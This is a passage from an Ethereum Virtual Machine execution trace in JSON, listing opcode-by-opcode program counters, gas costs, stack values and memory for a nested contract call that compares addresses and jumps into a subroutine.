7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2466,"op":"DUP3","gas":65744,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2467,"op":"EQ","gas":65741,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2468,"op":"DUP1","gas":65738,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2469,"op":"ISZERO","gas":65735,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2470,"op":"SWAP1","gas":65732,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2471,"op":"PUSH2","gas":65729,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2474,"op":"JUMPI","gas":65726,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x0","0x9c2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2475,"op":"POP","gas":65716,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2476,"op":"DUP1","gas":65714,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2477,"op":"PUSH1","gas":65711,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2479,"op":"PUSH1","gas":65708,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2481,"op":"PUSH1","gas":65705,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2483,"op":"SHL","gas":65702,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2484,"op":"SUB","gas":65699,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2485,"op":"AND","gas":65696,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2486,"op":"DUP8","gas":65693,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2487,"op":"PUSH1","gas":65690,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2489,"op":"PUSH1","gas":65687,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2491,"op":"PUSH1","gas":65684,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2493,"op":"SHL","gas":65681,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2494,"op":"SUB","gas":65678,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2495,"op":"AND","gas":65675,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2496,"op":"EQ","gas":65672,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2497,"op":"ISZERO","gas":65669,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2498,"op":"JUMPDEST","gas":65666,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2499,"op":"PUSH2","gas":65665,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2502,"op":"JUMPI","gas":65662,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0xa0e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2574,"op":"JUMPDEST","gas":65652,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2575,"op":"DUP9","gas":65651,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2576,"op":"ISZERO","gas":65648,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2577,"op":"PUSH2","gas":65645,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2580,"op":"JUMPI","gas":65642,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0xa28"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2581,"op":"PUSH2","gas":65632,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2584,"op":"PUSH1","gas":65629,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2586,"op":"PUSH1","gas":65626,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2588,"op":"PUSH1","gas":65623,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2590,"op":"SHL","gas":65620,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2591,"op":"SUB","gas":65617,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2592,"op":"DUP4","gas":65614,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2593,"op":"AND","gas":65611,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2594,"op":"DUP9","gas":65608,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2595,"op":"DUP12","gas":65605,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2596,"op":"PUSH2","gas":65602,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2599,"op":"JUMP","gas":65599,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x19d3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6611,"op":"JUMPDEST","gas":65591,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6612,"op":"PUSH1","gas":65590,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6614,"op":"DUP1","gas":65587,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6615,"op":"MLOAD","gas":65584,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6616,"op":"PUSH1","gas":65581,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc91